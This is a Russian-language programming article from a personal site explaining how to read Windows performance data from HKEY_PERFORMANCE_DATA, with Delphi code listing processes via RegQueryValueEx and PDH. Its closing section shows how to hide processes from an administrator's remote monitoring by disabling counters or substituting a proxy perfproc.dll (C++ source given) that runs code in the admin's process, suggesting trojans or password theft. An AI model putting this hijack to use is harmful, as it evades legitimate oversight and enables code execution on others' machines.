страничка tripsin'а


Главная | Статьи | Заметки | Файлы| Ссылки | я

HKEY_PERFORMANCE_DATA – виртуальный реестр

 

В Windows есть специальный механизм, который позволяет без больших усилий получить огромное количество информации о производительности системы. Как ты наверное догадался, все это добро находится в реестре. И для доступа к нему используется специальный ключ - HKEY_PERFORMANCE_DATA.

 

демонстрационный проект (12,5кб)

исходник и релиз  my_perfproc.dll (22 кб)

PerfLook - обозреватель ключа HKEY_PERFORMANCE_DATA (216 кб)

Давай знакомиться.

Угадай, где у винды самая большая помойка. :) Правильно! В реестре. Но господин Regedit показывает нам далеко не всю доступную информацию. Например,  там есть огромное количество инфы о производительности системы, о процессах и системных объектах, о работе устройств, об активности сетевых соединений и еще много чего. Ты можешь получить список запущенных процессов и контролировать работу каждого процесса : загрузку процесса, используемую память, pid, приоритет, системные объекты и т.п. (Мало того, эту же инфу может удаленно читать и писать в логи твой сисадмин! В конце этой статьи я покажу тебе, как оставить его с носом).

Если хочешь убедиться – набирай в командной строке: mmc %systemroot%\system32\perfmon.msc или просто - perfmon. Откроется консоль управления с системным монитором. Кликай мышкой на окно с графиками и жми CTRL-I. Откроется окошко для добавления счетчика производительности.

Смотри сколько инфы можно получить о системе! В выпадающем списке можно выбрать тип объекта наблюдения (хотя правильнее было бы назвать его классом). В правом листбоксе перечислены экземпляры этого объекта, а в левом счетчики производительности. Можно выбрать счетчики для каждого экземпляра объекта. Выбери объект Process и в правом листбоксе ты увидишь список всех запущенных процессов. Вот его-то мы для примера и выковырнем из реестра. (Еще ты можешь попробовать мою программку PerfLook, она пока недоработана, но для наших целей сойдет.)

Вся нужная нам инфа хранится в разделе HKEY_PERFORMANCE_DATA. Но, как ты наверное заметил, Regedit этот раздел не показывает и многие о нем просто не знают. У г-на Regedit’а на это есть свои причины. Дело в том что этот раздел чисто виртуальный, никакая инфа из него на диск не сохраняется и существует только тогда, когда кто-то ее запрашивает.

Подноготная

Просто так к этому разделу не подступиться. Например, перечислить ключи с помощью RegEnumKeyEx не получится. Доступ к информации в  HKEY_PERFORMANCE_DATA надо получать с помощью функции RegQueryValueEx. Эту функцию ты наверняка уже знаешь, но при обращении к HKEY_PERFORMANCE_DATA ее надо использовать по-другому.

function RegQueryValueEx(

    hKey: HKEY; // хэндл ключа реестра (HKEY_PERFORMANCE_DATA)

    lpValueName: PChar; // имя значения (набор счетчиков)

    lpReserved: Pointer; // Зарезервировано. Должно быть = 0

    lpType: PDWORD; //Указатель на переменную для типа возвращаемого

                    //значения. Может быть = nil, если не нужна

    lpData: PByte;  //Указатель на буфер для получения данных

    lpcbData: PDWORD //Указатель на переменную, содержащую размер буфера.

                     //После выполнения функции здесь содержится количество

                     //байтов, скопированных в буфер. Может быть = nil,

                     //только если lpData = nil

): Longint;

Во втором параметре ей надо задать набор счетчиков в виде нультерминальной строки:

Дальше в функции RegQueryValueEx происходит примерно такая последовательность действий. Функция открывает ключик HKLM\SYSTEM\CurrentControlSet\Services\ и просматривает все подключи. В каждом подключе она ищет подключ Performance.

 

 Если находит, то читает параметры:

·        Library – имя dll-ки, возвращающей данные.

·        Object List – список индексов возвращаемых счетчиков.

·        Open – Имя функции инициализации  dll-ки.

·        Collect – Имя функции возращающей значения счетчиков.

·        Close – Имя функции, которая вызывается, когда dll-ка больше не нужна.

Если в Object List есть индекс нужного счетчика, то функция загружает  dll-ку и вызывает функцию Open. Для получения данных счетчиков вызывается Collect, а для освобождения ресурсов Close. Если интересны прототипы этих функций, читай MSDN или посмотри пример переходника для perfproc.dll. В функцию Collect передается буфер и dll-ка заполняет его блоком данных. В начале блока идет структура PERF_OBJECT_TYPE, а затем данные экземпляров объекта и счетчиков. Если все прошло нормально, то Collect возвращает ERROR_SUCCESS, а если буфер слушком маленький, то - ERROR_MORE_DATA. Все блоки данных от всех dll-ек собираются вместе, спереди к ним добавляется структура PERF_DATA_BLOCK и возвращаются в пятом параметре lpcbData функции RegQueryValueEx.

В итоге RegQueryValueEx возвращает ERROR_SUCCESS и здоровенную структуру данных (десятки килобайт) в пятом параметре lpcbData, или ERROR_MORE_DATA и тогда lpcbData оказывается неопределен. При получении ERROR_MORE_DATA надо выделять буфер побольше и снова вызывать функцию RegQueryValueEx, пока она не возвратит ERROR_SUCCESS.

Итак мы решили-таки получить данные счетчика из реестра. Сразу возникает пара вопросов.

Первый вопрос – где взять индекс счетчика? У объекта Process он равен «230». Tебе интересно, откуда он взялся? Тогда открывай Regedit и смотри ключ HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Perflib\.

Там есть один или несколько подключей с цифровыми трехзначными именами. Это языковой идентификатор. Для английского языка: 009 (он есть всегда), для русского – 019.

Идентификатор установленного в системе по умолчанию языка можно получить с помощью функции GetSystemDefaultUILanguage:

var

  language: LANGID;

begin

  language := WORD(GetSystemDefaultUILanguage) and $00FF;

end;

или из реестра: HKLM\System\CurrentControlSet\Control\Nls\Language, параметр InstallLanguage (по той же формуле).

            В этом подключе смотри параметр Counter. Кликай по нему дважды и все увидишь. Там перечислены все индексы и имена счетчиков в виде нультерминальных строчек. В конце последней строчки 2 терминальных нуля – последний закрывает весь блок. Ищи в именах «Process» и перед ним увидишь его индекс – «230».

Второй вопрос – как все-таки извлечь список процессов? Вот это уже не так просто. Структура данных довольно сложная, поэтому рассмотрим только нужные нам моменты.

В самом начале полученного буфера лежит структура PERF_DATA_BLOCK. В ней содержится общее описание полученных данных. Нужные поля:

·        Signature - UNICODE-сигнатура «PERF»

·        TotalByteLength – общий размер полученных данных

·        HeaderLength – размер структуры TPerfDataBlock

·        NumObjectTypes – количество просматриваемых объектов. У нас будет только 1 – Process.

Сразу за ней идут информационные блоки для каждого объекта. (Вот они-то и возвращаются описанными выше dll-ками.) Их количество указано в TPerfDataBlock. NumObjectTypes.

В начале информационного блока идет заголовок в виде структуры PERF_OBJECT_TYPE. Затем идут описания всех счетчиков, доступных для данного типа объекта, в виде структур  PERF_COUNTER_DEFINITION. Их количество определено в PERF_OBJECT_TYPE..NumCounters.

Дальше возможно два варианта:

1.      Если у типа объекта есть экземпляры, то дальше идут блоки с описаниями этих экземпляров. Количество этих блоков есть в PERF_OBJECT_TYPE. NumInstances. В начале каждого блока стоит структура PERF_INSTANCE_DEFINITION. За ней структура PERF_COUNTER_BLOCK с одним единственным полем ByteLength: размер блока данных счетчиков, включая размер структуры PERF_COUNTER_BLOCK. Затем собственно данные счетчиков для экземпляра объекта. Смещения данных каждого счетчика от начала PERF_COUNTER_BLOCK записано в PERF_COUNTER_DEFINITION.CounterOffset

2.      Если экземпляров у объекта нет, то все счетчики относятся в самому типу объекта. Так тоже бывает. В этом случае сразу за PERF_COUNTER_DEFINITION идет только один блок данных счетчиков, начинающийся с PERF_COUNTER_BLOCK.

Вот собственно и все. :) Чтобы тебе стало немного понятнее я нарисовал схемку.

Хотя нет. Вот с этого момента как раз и начинается самое интересное. Чтобы получить значение счетчика недостаточно знать его смещение. Надо знать размер данных и их тип. Все это можно определить по полю PERF_COUNTER_DEFINITION.CounterType. Оно состоит из битовых полей, определяющих различные свойства счетчика.

Так счетчик может быть простым числом (например PID процесса), текстовой строкой, просто нулем  и постоянно меняющимся счетчиком. В последнем случае реальное значение рассчитывается  по специальным формулам с использованием данных других счетчиков и полей вышеописанных структур. Это довольно муторный материал и его мы рассматривать не будем. Вся нужная инфа есть в MSDN.

Для примера. Загрузка процессора процессом выдается в счетчике «% Processor Time», который имеет тип - PERF_100NSEC_TIMER. Чтобы получить реальное значение загрузки в процентах надо снять два последовательных значения счетчика и использовать формулу: 100*(X1-X0)/(Y1-Y0), где X0 и X1 – значения счетчика, а Y0 и Y1 – значения поля PERF_DATA_BLOCK.PerfTime100nSec во время получения данных счетчика.

Кодинг

Вот теперь можно приступить собственно к кодингу. Напоминаю, что мы пытаемся получить список процессов из реестра. Наша функция FillProcessesList будет заполнять переданный ей TStringList списком имен процессов и их PID’ами. Определения структур я тут не привожу для экономии места. Смотри их в коде примера. Да!, структуры я обозвал по Дельфиньему.

function FillProcessesList(var slProcesses: TStringList): Boolean;

const

  INCREMENTAL_SIZE     = 32768; // Шаг увеличения буфера

  INITIAL_BUFFER_SIZE  = 65536; // Начальный размер буфера

  PROCESS_OBJECT_INDEX = 230;   // Индекс объекта Process

  PID_OBJECT_INDEX     = 784;   // Индекс счетчика ID Process (PID)

var

  buflen: DWORD; // текущий размер буфера

  PerfData: PPerfDataBlock; // PERF_DATA_BLOCK

  PerfObj: PPerfObjectType; // PERF_OBJECT_TYPE

  PerfCntr, CurCntr: PPerfCounterDefinition;  // PERF_COUNTER_DEFINITION

  PerfInst: PPerfInstanceDefinition;  // PERF_INSTANCE_DEFINITION

  PerfCntrBlk, PtrToCntr: PPerfCounterBlock;   // PERF_COUNTER_BLOCK

  i,k,j: Integer; // счетчики в циклах

  process_name: String; // выходная строка

  pData: PLargeInteger; // Указатель на данные счетчика

begin

  Result := False;

  buflen := INITIAL_BUFFER_SIZE;

  GetMem(PerfData, buflen); // Выделяем начальный буфер

  try

    // Пытаемся заполнить буфер данными

    while RegQueryValueEx(HKEY_PERFORMANCE_DATA,

                          PChar(IntToStr(PROCESS_OBJECT_INDEX)),

                          nil,nil,Pointer(PerfData), @buflen)

                          = ERROR_MORE_DATA do

    begin  // Если буфер маленький, то увеличиваем его и снова пытаемся

      inc(buflen,INCREMENTAL_SIZE);

      ReallocMem(PerfData, buflen);

    end;

    RegCloseKey(HKEY_PERFORMANCE_DATA); // Обязательно закрываем этот ключ.

    // Получаем указатель на первую структуру PERF_OBJECT_TYPE (первый инфоблок)

    PerfObj := PPerfObjectType(DWORD(PerfData) + PerfData.HeaderLength);

    // Перебираем все полученные типы объектов

    for i := 0 to PerfData.NumObjectTypes - 1 do

    begin

      // Ищем объект Process (индекс 230)

      if PerfObj.ObjectNameTitleIndex = PROCESS_OBJECT_INDEX then

      begin

        // Запоминаем расположение описаний счетчиков PERF_COUNTER_DEFINITION

        PerfCntr := PPerfCounterDefinition(DWORD(PerfObj) +

                    PerfObj.HeaderLength);

        // Получаем экземпляры объекта Process, если они есть

        if PerfObj.NumInstances > 0 then

        begin

          // Получаем указатель на первую структуру PERF_INSTANCE_DEFINITION

          PerfInst := PPerfInstanceDefinition(DWORD(PerfObj) +

                                              PerfObj.DefinitionLength);

          // Перебираем все экземпляры объекта

          for k := 0 to PerfObj.NumInstances - 1 do

          begin

            // Получаем имя текущего экземпляра (имя процесса)

            process_name := WideCharToString(PWideChar(DWORD(PerfInst) +

                                             PerfInst.NameOffset));

            // Если имя равно '_Total', то пропускаем этот экземпляр

            // т.к. это суммарные данные для всех процессов

            if process_name = '_Total' then Continue;

            // Получаем указатель на первый счетчик PERF_COUNTER_DEFINITION

            CurCntr := PerfCntr;

            // Получаем указатель на данные счетчиков текущего экземпляра

            // PERF_COUNTER_BLOCK

            PtrToCntr := PPerfCounterBlock(DWORD(PerfInst) +

                         PerfInst.ByteLength);

            //Перебираем все счетчики для каждого объекта

            for j := 0 to PerfObj.NumCounters - 1 do

            begin

              // Получаем указатель на данные счетчика

              pData := Pointer(DWORD(PtrToCntr) + CurCntr.CounterOffset);

              // Если счетчик - это ID Process, то читаем его и

              // добавляем в выходную строку

              if CurCntr.CounterNameTitleIndex = PID_OBJECT_INDEX then

              process_name := process_name +

                              '; PID = ' + IntToStr(Integer(pData^));

              // Получаем указатель на следующий счетчик

              CurCntr := PPerfCounterDefinition(DWORD(CurCntr) +

                         CurCntr.ByteLength);

            end; 

            // Добавляем выходную строку в TStringList

            slProcesses.Add(process_name);

            // Функция сработала успешно

            Result := True;

            // Получаем указатель на следующий экземпляр объекта

            // Он находится сразу за данными текущего экземпляра

            PerfCntrBlk := PPerfCounterBlock(DWORD(PerfInst) +

                                             PerfInst.ByteLength);

            PerfInst := PPerfInstanceDefinition(DWORD(PerfCntrBlk) +

                                                PerfCntrBlk.ByteLength);

          end;

        end;

      end;

      // Получаем указатель на следующий тип объекта

      PerfObj := PPerfObjectType(DWORD(PerfObj) + PerfObj.TotalByteLength);

    end;

  finally

    // В любом случае освобождаем память, занятую буфером

    FreeMem(PerfData);

  end;

end;

Я не стал заморачиваться в поиском индексов объектов по реестру, а сразу записал их в константы. Но если кому надо, то могу помочь с кодом функции поиска.

В коде прокомментирована практически каждая строчка. Функция работает просто. Сначала резервирует буфер и пытается получить результат из RegQueryValueEx. Если не получается, то резервирует буфер побольше и пытается снова. Потом пробегается по буферу в поисках объекта с индексом 230 (Process). Когда находит то получает имена всех экземпляров этого объекта, тут же у каждого экземпляра перебирает счетчики с поисках счетчика с индексом 784 (ID Process или PID). Потом собирает эти данные в одну строчку, которую добавляет в TStringList.

К статье прилагается небольшой проект, который получает с помощью этой функции список процессов с pid’ами и выводит его в TMemo.

 

Рис 1. Отладка полным ходом :)

 

На самом деле все не так страшно

Ты наверное ужаснулся уже от объема работы, которую надо проделать, чтобы хоть что-то получить. Мелкомягкие программеры тоже так подумали, сжалились над нами и, начиная с Windows 2000, выпустили специальную библиотеку Performance Data Helper (pdh.dll) Кроме того есть механизм WMI (Windows Management Instrumentation), который больше подходит для .NET-платформы. Теперь получение данных о производительности получается уже несколько понятнее. Например окошко со списком счетчиком на самом первом рисунке создается с помощью функции PdhBrowseCounters, а индекс счетчика по его имени находится с помощью PdhLookupPerfIndexByName Вот так будет выгдядеть получение списка процессов с помощью PDH:

 

unit Sample3;

 

interface

 

uses Windows, Classes, SysUtils;

 

const

  // Уровни детализации

  PERF_DETAIL_NOVICE   = 100; // Новичок

  PERF_DETAIL_ADVANCED = 200; // Продвинутый

  PERF_DETAIL_EXPERT   = 300; // Эксперт

  PERF_DETAIL_WIZARD   = 400; // Максимальный

 

  PDH_MORE_DATA = -2147481646; //Все данные не помещаются в предоставленный буфер

 

function FillProcessesList(var slProcesses: TStringList): Boolean;

 

implementation

 

function PdhEnumObjectItems(szDataSource: PChar;

                             szMachineName: PChar;

                             szObjectName: PChar;

                             mszCounterList: PChar;

                             pcchCounterListLength: PDWORD;

                             mszInstanceList: PChar;

                             pcchInstanceListLength: PDWORD;

                             dwDetailLevel: DWORD;

                             dwFlags: DWORD

                             ): LongInt; stdcall; external 'PDH.DLL'

                             name 'PdhEnumObjectItemsA';

 

 

function FillProcessesList(var slProcesses: TStringList): Boolean;

var

  pdhStatus: LongInt; // Возвращаемое значение PDH-функций

  sObjectName: array [0..7] of Char; // Буфер для имени объекта "Process"

  pCounterList: PAnsiChar; // Буфер для списка счетчиков

  CounterListLength: DWORD; // Длина буфера для списка счетчиков

  pInstanceList: PAnsiChar; // Буфер для списка экземпляров (процессов), после

                            // заполнения здесь будет цепочка нультерминальных

                            // строк и в конце общий #0.

  InstanceListLength: DWORD;// Длина буфера для списка экземпляров

  pThisInstance: PAnsiChar; // Указатель на имя текущего экземпляра

begin

  Result := False;

  sObjectName := 'Process'; // Собираемся получить список процессов

  CounterListLength := 0; // Обнуляем длины буферов

  InstanceListLength := 0;

  // В первый вызов функции вместо буферов ставим nil и получаем длины буферов

  pdhStatus := PdhEnumObjectItems(nil, // информация реального времени

                                  nil, // локальная машина

                                  @sObjectName, // Имя объекта

                                  nil,

                                  @CounterListLength, // передаем 0

                                  nil,

                                  @InstanceListLength,// передаем 0

                                  PERF_DETAIL_WIZARD, //Максимальная детализация

                                  0);

  // PdhEnumObjectItems должна вернуть PDH_MORE_DATA, если нет - ошибка

  if pdhStatus = PDH_MORE_DATA then

  begin

    // Резервируем память под буферы

    GetMem(pCounterList, CounterListLength);

    GetMem(pInstanceList, InstanceListLength);

    try

      // Вторым вызовом функции получаем информацию

      pdhStatus := PdhEnumObjectItems(nil, // информация реального времени

                                      nil, // локальная машина

                                      @sObjectName, // Имя объекта

                                      pCounterList, // Буфер счетчиков

                                      @CounterListLength,

                                      pInstanceList, // Буфер имен

                                      @InstanceListLength,

                                      PERF_DETAIL_WIZARD,

                                      0);

      // Проверяем успешность выполнения функции PdhEnumObjectItems

      if pdhStatus = ERROR_SUCCESS then

        begin

          // Ставим указатель на начало буфера экземпляров

          pThisInstance := pInstanceList;

          // Крутим цикл пока не кончатся имена (в конце буфера стоит #0)

          while pThisInstance^ <> #0 do

          begin

            // Пропускаем экземпляр с общими данными

            if pThisInstance <> '_Total' then

              // Добавляем имя процесса к списку

              slProcesses.Add(pThisInstance);

            // Перемещаем указатель на следующее имя

            inc(pThisInstance, Length(pThisInstance)+1);

          end;

          // Фунция сработала успешно, если досюда дошло

          Result := True;

        end;

    finally

      // В любом случае освобождаем память буферов

      FreeMem(pCounterList);

      FreeMem(pInstanceList);

    end;

  end;

end;

 

end.

 

Шуточки

Ну а теперь обещанная шутка с сисадмином. Дело в том что к  реестру можно подключаться удаленно (используется RPCRemote Procedure Call) с помощью  функции RegConnectRegistry. Если твой комп в локалке настроен соответствующе, то админ может получать данные из твоего реестра и контролировать, например, запущенные у тебя процессы. Сейчас мы его от этого отучим.

Самый простой и мирный способ. В ключе HKLM\SYSTEM\CurrentControlSet\Services\PerfProc\Performance создать параметр «Disable Performance Counters» типа REG_DWORD равным 1. Все. Теперь perfproc.dll (она и выдает данные о процессах) вообще не будет загружаться. Объекта «Process» в выходных данных  RegQueryValueEx просто не будет.

            Но можно поступить гораздо интереснее. Вместо perfproc.dll (в %WINDIR%\System32) можно записать свою dll-ку. Загружаться она будет в адресное пространство загружающего процесса, то есть выполнится на компе админа. Чтобы все прошло гладко, надо сделать нашу dll-ку похожей на perfproc.dll. Здесь я привожу код переходника, который работает точно также как и perfproc.dll, но при загрузке библиотеки выдаем сообщение с именем запускающего процесса. Код для разнообразия написан на VC6.

// my_perfproc.cpp

// Переходник для perfproc.dll

 

#include "stdafx.h"

#include <windows.h>

 

typedef DWORD (CALLBACK* pRealOpen)(LPWSTR);

typedef DWORD (WINAPI* pRealClose)();

typedef DWORD (WINAPI* pRealCollect)(LPWSTR,LPVOID,LPDWORD,LPDWORD);

 

pRealClose   pCloseSysProcessObject;

pRealOpen    pOpenSysProcessObject;

pRealCollect pCollectSysProcessObjectData;

HMODULE      hRealDll = NULL;

 

BOOL APIENTRY DllMain( HANDLE hModule, DWORD  dwReason, LPVOID lpReserved)

{

       char sExeName[MAX_PATH];

switch (dwReason)

       {

        case DLL_PROCESS_ATTACH:

             GetModuleFileName(NULL, sExeName, MAX_PATH);

             MessageBox(0,sExeName,"EXE Module",0);

             break;

        case DLL_THREAD_ATTACH:

             break;

        case DLL_THREAD_DETACH:

             break;

        case DLL_PROCESS_DETACH:

             break;

       }

 

    return TRUE;

}

 

DWORD WINAPI CloseSysProcessObject()

{

       DWORD ret = pCloseSysProcessObject();

       FreeLibrary(hRealDll);

       return 0;

}

 

DWORD CALLBACK OpenSysProcessObject(LPWSTR lpDeviceNames)

{

       if (!hRealDll) hRealDll = LoadLibrary("perfproc.dll");

       if (!hRealDll) return GetLastError();

 

       pOpenSysProcessObject = (pRealOpen) GetProcAddress(hRealDll,

                                                            "OpenSysProcessObject");

       pCloseSysProcessObject = (pRealClose) GetProcAddress(hRealDll,

                                                             "CloseSysProcessObject");

       pCollectSysProcessObjectData = (pRealCollect) GetProcAddress(hRealDll,

                                                             "CollectSysProcessObjectData");

       if (! pOpenSysProcessObject ||

           !pCloseSysProcessObject ||  

           !pCollectSysProcessObjectData)

       {

           FreeLibrary(hRealDll);

           hRealDll = NULL;

           return ERROR_INVALID_DATA;

       }

       DWORD ret = pOpenSysProcessObject(lpDeviceNames);

       return ret;

}

 

DWORD WINAPI CollectSysProcessObjectData(LPWSTR lpwszValue,

                                    LPVOID *lppData,

                                    LPDWORD lpcbBytes,

                                    LPDWORD lpcObjectTypes)

                                                             

{  

       DWORD dwDataSize = *lpcbBytes;

       DWORD dwNumObjects = 0;

       void* p = *lppData;

 

       DWORD ret = pCollectSysProcessObjectData(lpwszValue,&p,&dwDataSize,&dwNumObjects);

       *lpcbBytes      = dwDataSize;

       *lpcObjectTypes = dwNumObjects;

       *lppData        = (char*)(*lppData) + dwDataSize;

       return ret;

}

Эта библиотека экспортирует те же функции, что и perfproc.dll. При вызове функции OpenSysProcessObject она загружает perfproc.dll и получает адреса настоящих функций из perfproc.dll. При обращении к функциям нашей dll-ки вызываются настоящие функции perfproc.dll. Естественно имя этой библиотеки надо прописать в реестре вместо perfproc.dll (HKLM\SYSTEM\CurrentControlSet\Services\PerfProc\Performance параметр Library)

Дальше твои действия ограничены только полетом твоей фантазии. Можно разбирать данные, возвращенные CollectSysProcessObjectData, и вырезать из них сведения о каком-то конкретном процессе. А можно в любой из функций выполнять любой код (на какой у тебя прав хватит): от перезагрузки компа, до установки трояна и кражи паролей. Можно просто убить вызывающий процесс (TerminateProcess(GetCurrentProcess,0)). Когда будешь отлаживать dll-ку, то при ошибках будет появляться параметр «Disable Performance Counters». Убирай его, чтобы либа снова стала загружаться.

Это все. Конечно, я тут осветил не всю информацию по теме, но общее представление ты, надеюсь, получил. Удачи в освоении недр системы.

 

Орехов Роман aka tripsin.

Hosted by uCoz